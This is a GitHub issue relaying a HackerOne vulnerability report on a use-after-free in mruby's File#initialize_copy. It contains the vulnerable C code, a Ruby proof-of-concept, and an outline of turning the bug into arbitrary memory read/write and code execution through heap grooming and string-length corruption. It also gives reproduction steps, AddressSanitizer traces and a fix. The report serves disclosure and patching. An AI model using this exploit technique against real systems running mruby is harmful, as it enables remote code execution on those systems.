Use after free in File#initilialize_copy
clayton-shopify opened this issue · 0 comments
The following was reported by https://hackerone.com/pnoltof:
Root Cause:
calling File#initilialize_copy
with an invalid argument, causes the function to terminate early, leaving a dangling pointer in the recievers DATA_PTR
.
mrb_io_initialize_copy(mrb_state *mrb, mrb_value copy)
{
mrb_value orig;
mrb_value buf;
struct mrb_io *fptr_copy;
struct mrb_io *fptr_orig;
mrb_bool failed = TRUE;
mrb_get_args(mrb, "o", &orig);
fptr_copy = (struct mrb_io *)DATA_PTR(copy);
if (fptr_copy != NULL) {
fptr_finalize(mrb, fptr_copy, FALSE);
mrb_free(mrb, fptr_copy);
}
fptr_copy = (struct mrb_io *)mrb_io_alloc(mrb);
fptr_orig = io_get_open_fptr(mrb, orig); #can raise exception
DATA_TYPE(copy) = &mrb_io_type;
DATA_PTR(copy) = fptr_copy;
[....]
}
Details & Impact
initialize_copy first frees the DATA_PTR(self)
, then it gets the data pointer for the first argument. This operation can raise an exception, in which case DATA_PTR(self)
remains dangeling. By proper heap feng shui, one can allocate another value (such as string) in the same spot. Calling a.close()
will set DATA_PTR(a)->fd = -1
, effectively setting some memory to 0xffffffff
. This can be used to change the size of a string object. The corrupted string can then be used to read/write memory. This can be used to obtain arbitrary code execution.
a = File.new(0)
#needs proper heap massaging for reallocation
a.initialize_copy(0) # DATA_PTR(a) is now pointing to free'd memory
#allocate string at old position
str = "foo".gsub("o","asdfasdf")
a.close() #overwrites offset 0 on DATA_PTR(a) with ffffffff
#str length is now 0xfffffffff, we can read/write arbitrary memory
Bugfix
Move fptr_orig = io_get_open_fptr(mrb, orig);
to the top of the function (next to mrb_get_args(mrb, "o", &orig);
).
Steps to Reproduce
obtain current mruby version
git clone https://github.com/mruby/mruby.git
git checkout fabc460880fbabd18369a
CC=clang CFLAGS="-fsanitize=address -fsanitize-recover=address -ggdb -O0" LDFLAGS="-fsanitize=address" LD=clang make
run testcase
$ ASAN_OPTIONS=halt_on_error=false:allow_addr2line=true:allocator_may_return_null=1 ./bin/mruby ../uaf_file.rb
trace (most recent call last):
[0] ../uaf_file.rb:3
../uaf_file.rb:3: wrong argument type Fixnum (expected Data) (TypeError)
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019890 at pc 0x0000006ed5ce bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
READ of size 4 at 0x602000019890 thread T0
#0 0x6ed5cd in fptr_finalize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650
SUMMARY: AddressSanitizer: heap-use-after-free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:650 in fptr_finalize
Shadow bytes around the buggy address:
0x0c047fffb2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00 00
=>0x0c047fffb310: fa fa[fd]fd fa fa 00 07 fa fa 00 fa fa fa 00 00
0x0c047fffb320: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb340: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fffb350: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
0x0c047fffb360: fa fa 00 02 fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
[...] #various reads
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019890 at pc 0x0000006ed77f bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
WRITE of size 4 at 0x602000019890 thread T0
#0 0x6ed77e in fptr_finalize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:664
#1 0x6e7a14 in mrb_io_free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:260
#2 0x5e4f4f in obj_free /home/me/grammarfuzz/mruby/src/gc.c:841
#3 0x5e43e1 in free_heap /home/me/grammarfuzz/mruby/src/gc.c:391
#4 0x5e4ffc in mrb_gc_destroy /home/me/grammarfuzz/mruby/src/gc.c:400
#5 0x537203 in mrb_close /home/me/grammarfuzz/mruby/src/state.c:263
#6 0x4eda6a in cleanup /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:165
#7 0x4ec79d in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:251
#8 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#9 0x419a18 in _start (/home/me/grammarfuzz/mruby/bin/mruby+0x419a18)
0x602000019890 is located 0 bytes inside of 16-byte region [0x602000019890,0x6020000198a0)
freed by thread T0 here:
#0 0x4b99c0 in __interceptor_cfree.localalias.0 asan_malloc_linux.cc.o
#1 0x53501b in mrb_default_allocf /home/me/grammarfuzz/mruby/src/state.c:51
#2 0x5e3ce7 in mrb_free /home/me/grammarfuzz/mruby/src/gc.c:274
#3 0x6ec52f in mrb_io_initialize_copy /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:567
#4 0x50ac0a in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1469
#5 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
#6 0x533449 in mrb_top_run /home/me/grammarfuzz/mruby/src/vm.c:3002
#7 0x652ea3 in mrb_load_exec /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5835
#8 0x653b05 in mrb_load_file_cxt /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5844
#9 0x4ec267 in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
#10 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
previously allocated by thread T0 here:
#0 0x4b9ec8 in realloc (/home/me/grammarfuzz/mruby/bin/mruby+0x4b9ec8)
#1 0x535035 in mrb_default_allocf /home/me/grammarfuzz/mruby/src/state.c:55
#2 0x5e2b16 in mrb_realloc_simple /home/me/grammarfuzz/mruby/src/gc.c:206
#3 0x5e31f4 in mrb_realloc /home/me/grammarfuzz/mruby/src/gc.c:220
#4 0x5e3b83 in mrb_malloc /home/me/grammarfuzz/mruby/src/gc.c:242
#5 0x6ebf6e in mrb_io_alloc /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:270
#6 0x6eeb57 in mrb_io_initialize /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:629
#7 0x510a2d in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1675
#8 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
#9 0x4f661f in mrb_run /home/me/grammarfuzz/mruby/src/vm.c:2988
#10 0x4f43d9 in mrb_funcall_with_block /home/me/grammarfuzz/mruby/src/vm.c:505
#11 0x6949ad in mrb_instance_new /home/me/grammarfuzz/mruby/src/class.c:1595
#12 0x50ac0a in mrb_vm_exec /home/me/grammarfuzz/mruby/src/vm.c:1469
#13 0x4feea1 in mrb_vm_run /home/me/grammarfuzz/mruby/src/vm.c:947
#14 0x533449 in mrb_top_run /home/me/grammarfuzz/mruby/src/vm.c:3002
#15 0x652ea3 in mrb_load_exec /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5835
#16 0x653b05 in mrb_load_file_cxt /home/me/grammarfuzz/mruby/mrbgems/mruby-compiler/core/parse.y:5844
#17 0x4ec267 in main /home/me/grammarfuzz/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
#18 0x7ff9e25d282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-use-after-free /home/me/grammarfuzz/mruby/mrbgems/mruby-io/src/io.c:664 in fptr_finalize
Shadow bytes around the buggy address:
0x0c047fffb2c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb2f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fffb300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa 00 00
=>0x0c047fffb310: fa fa[fd]fd fa fa 00 07 fa fa 00 fa fa fa 00 00
0x0c047fffb320: fa fa 00 00 fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb330: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
0x0c047fffb340: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fffb350: fa fa 00 fa fa fa fd fa fa fa 00 fa fa fa 00 00
0x0c047fffb360: fa fa 00 02 fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
=================================================================
==9006==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000019894 at pc 0x0000006ed7ea bp 0x7ffd43f26b10 sp 0x7ffd43f26b08
READ of size 4 at 0x602000019894 thread T0
[....]
Authors:
Daniel Teuchert, Cornelius Aschermann, Tommaso Frassetto, Tigist Abera